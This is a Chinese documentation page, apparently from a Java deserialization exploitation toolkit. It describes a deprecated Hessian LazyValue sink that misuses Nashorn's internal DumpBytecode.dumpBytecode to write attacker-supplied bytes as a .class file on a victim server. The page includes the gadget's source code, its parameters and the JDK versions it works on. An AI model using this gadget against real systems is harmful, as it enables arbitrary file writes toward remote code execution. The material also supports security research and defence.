Skip to content

Latest commit

 

History

History
68 lines (57 loc) · 5.1 KB

File metadata and controls

68 lines (57 loc) · 5.1 KB

DumpBytecode 写文件(LazyValueWithFileWrite2)

  • 类别:hessian 别名:— 优先级:—(@Deprecated
  • 作者:Wh1t3p1g
  • 依赖:无第三方依赖(使用 JDK Nashorn 内部类 jdk.nashorn.internal.codegen.DumpBytecode

作用

读取本地文件字节,构造 Nashorn ScriptEnvironment/DebugLogger 内部对象,产出 [className, methodName, params] 三元组,指示上游 LazyValue 载体反射调用 jdk.nashorn.internal.codegen.DumpBytecode.dumpBytecode(...),借该内部调试方法把字节写入指定目录,实现远程写文件(写出一个以 classname 命名的 .class 文件)。属 LazyValueChain 终端 sink(END),已被标注 @Deprecated

链接标签

  • 入口 tagsLazyValueChainEND —— 承接上游 LazyValue 载体;END 表示链尾终端,无下游。
  • 衔接 nextTags:无。
  • excludes:无。

源码剖析

// LazyValueWithFileWrite2.java(@Deprecated)
@Param(name="远程目标路径", description="/tmp")
public String dir;
@Param(name="类名", description="like Test")
public String classname = "Test";
@Param(name="本地路径", description="/tmp/test")
public String localFile;
public byte[] data = new byte[0];

public Object getObject() throws Exception {
    String className = "jdk.nashorn.internal.codegen.DumpBytecode";
    String methodName = "dumpBytecode";
    this.data = FileHelper.fileGetContent(this.localFile);                                  // ① 读本地文件字节
    ScriptEnvironment env = (ScriptEnvironment) Reflections.createWithoutConstructor(
            "jdk.nashorn.internal.runtime.ScriptEnvironment");                              // ② 免构造器实例化 env
    Reflections.setFieldValue(env, "_dest_dir", this.dir);                                  // ③ 反射设置输出目录
    Object debugger = Reflections.createWithoutConstructor(
            "jdk.nashorn.internal.runtime.logging.DebugLogger");                            // ④ 免构造器实例化 logger
    Object[] params = new Object[]{env, debugger, this.data, this.classname};               // ⑤ 组装参数
    return new Object[]{className, methodName, params};                                     // ⑥ 返回描述符
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    return this.getObject();   // 终端:不调用 chain.doCreate
}

逐段说明:

  • dumpBytecode(ScriptEnvironment env, DebugLogger logger, byte[] bytecode, String className) 是 Nashorn 编译器内部用于调试的方法:当 env._dest_dir 非空时,它把 bytecodeclassName + ".class" 为名写入该目录。攻击正是滥用此副作用当作任意写文件原语。
  • 为构造这两个无公开构造器的内部对象,用 Reflections.createWithoutConstructor(基于 Unsafe/反射,绕过构造器)实例化 ScriptEnvironmentDebugLogger,再反射把 _dest_dir 字段设为目标目录 dir
  • 写出的字节来自攻击者本地 localFileFileHelper.fileGetContent);最终文件路径为 dir/classname.class——因此本构件天然适合投放 .class,若要写任意后缀不如用 LazyValueWithFileWrite1(可自定义完整路径)。
  • 同样是终端:invoke 不调 chain.doCreate。返回描述符交上游 LazyValue 载体,受害端 Hessian 反序列化触发惰性求值时反射执行 DumpBytecode.dumpBytecode(...) 完成写文件(消费机制见 LazyValueWithDS2SwingLazyValueUIDefaults 片段)。

参数(@Param)

字段 名称 说明 默认 可选值
dir 远程目标路径 受害端输出目录(_dest_dir),文件名固定为 classname.class 无(示例 /tmp
classname 类名 输出文件的基名(.class 前缀) Test
localFile 本地路径 攻击者本地待读取并投递的字节文件 无(示例 /tmp/test

适用版本与原理要点

  • 依赖 JDK 内置 Nashorn 引擎(jdk.nashorn.*)。Nashorn 于 JDK 8 引入、JDK 11 起标记废弃、JDK 15 移除,故本构件仅在 JDK 8~14 可用,高版本 JDK 无 Nashorn 类而失效——这也是它被标 @Deprecated 的原因,日常优先选无 Nashorn 依赖的 LazyValueWithFileWrite1
  • 输出文件名受限(强制 .class 后缀),灵活度低于 FileWrite1。
  • 仅写文件、不直接 RCE,需配合可触发的落地路径达成后续利用。

所属预设链

自由构件,未直接出现在预设链中(usedInChains 为空),且被 @Deprecated,仅作历史/特定 JDK 环境备选。

关联